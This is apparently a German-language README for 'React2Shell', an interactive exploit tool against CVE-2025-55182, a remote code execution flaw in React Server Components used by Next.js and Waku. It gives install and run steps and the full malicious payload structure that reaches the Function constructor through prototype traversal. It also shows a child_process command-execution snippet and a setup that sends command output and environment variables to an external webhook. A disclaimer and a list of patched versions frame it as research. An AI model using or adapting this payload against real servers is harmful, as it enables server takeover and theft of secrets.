React2Shell - CVE-2025-55182 Interaktiver PoC

Interaktive Shell zum Ausnutzen von CVE-2025-55182, einer Remote-Code-Ausführungslücke in React Server Components.

Haftungsausschluss

Dieses Tool dient ausschließlich zu BILDUNGSZWECKEN und zu AUTORISIERTEN SICHERHEITSTESTS.

• Nur auf Systemen verwenden, die dir gehören oder für die du explizite schriftliche Erlaubnis hast
• Unautorisierter Zugriff auf Computersysteme ist illegal
• Der Autor haftet nicht für Missbrauch dieses Tools
• Dies ist ein Proof-of-Concept für Sicherheitsforschung und Sensibilisierung

Schwachstellenübersicht

CVE-2025-55182 betrifft React Server Components (RSC) in:

• Next.js < 15.1.7, < 14.2.29, < 13.5.9
• Waku (verschiedene Versionen)

Die Schwachstelle ermöglicht Remote-Code-Ausführung (RCE) durch bösartige Payloads, die an Server Actions gesendet werden.

Funktionsweise

1. Das RSC-Protokoll verwendet die Syntax $@x, um auf interne Chunk-Objekte zu verweisen
2. JavaScript entpackt automatisch Objekte mit .then()-Methoden (Promise-ähnlich)
3. Durch das Erstellen eines bösartigen Payloads mit kontrollierten _response-, _formData- und _prefix-Eigenschaften
4. Der Angreifer kann über die Prototypkette zum Function-Constructor gelangen
5. Dies ermöglicht die beliebige Ausführung von JavaScript auf dem Server

$3:constructor:constructor → Function-Constructor → RCE

Installation

git clone https://github.com/NathanJ60/react2shell-interactive.git
cd react2shell-interactive
npm install

Konfiguration

Bearbeite exploit.js und aktualisiere diese Werte:

const TARGET_URL = 'http://localhost:3000/'          // Verwundbarer Next.js-Server
const WEBHOOK_URL = 'https://webhook.site/YOUR-ID'   // Ihre Webhook-URL

Hole dir einen kostenlosen Webhook unter: https://webhook.site

Verwendung

node exploit.js

Befehle

Beispielsitzung

react2shell> !test
[+] Gesendet! Webhook prüfen

react2shell> whoami
[+] Gesendet: whoami

react2shell> ls -la
[+] Gesendet: ls -la

react2shell> !env
[+] Gesendet! Webhook auf Umgebungsvariablen prüfen

Ergebnisse erscheinen in Ihrem Webhook, nicht im Terminal.

Technische Details

Payload-Struktur

{
    '0': '$1',
    '1': {
        'status': 'resolved_model',
        'reason': 0,
        '_response': '$4',
        'value': '{"then":"$3:map","0":{"then":"$B3"},"length":1}',
        'then': '$2:then'
    },
    '2': '$@3',
    '3': [],
    '4': {
        '_prefix': '<JAVASCRIPT_CODE>//',
        '_formData': { 'get': '$3:constructor:constructor' },
        '_chunks': '$2:_response:_chunks'
    }
}

Ausführungsablauf

1. Payload wird als Multipart-Formulardaten mit dem Header next-action gesendet
2. Der React Flight Parser verarbeitet die Chunks
3. $@3 erstellt eine Chunk-Referenz
4. $3:constructor:constructor traversiert zu Function
5. Der Inhalt von _prefix wird an Function() übergeben und ausgeführt

Hinweise für Next.js 15+

• Verwendet ESM-Module, daher ist require() nicht verfügbar
• Stattdessen dynamisches import() verwenden:
  root@kitploit:~

  import("child_process").then(cp => cp.execSync("whoami"))
  

Gepatchte Versionen

Aktualisieren Sie auf diese Versionen, um die Schwachstelle zu beheben:

• Next.js >= 15.1.7
• Next.js >= 14.2.29
• Next.js >= 13.5.9

Referenzen

• React2Shell Offizielle Seite
• Google Tsunami Scanner Plugin

Lizenz

MIT-Lizenz – Nur zu Bildungszwecken.

Autor

Sicherheitsforschungs-PoC – Verantwortungsvoll verwenden.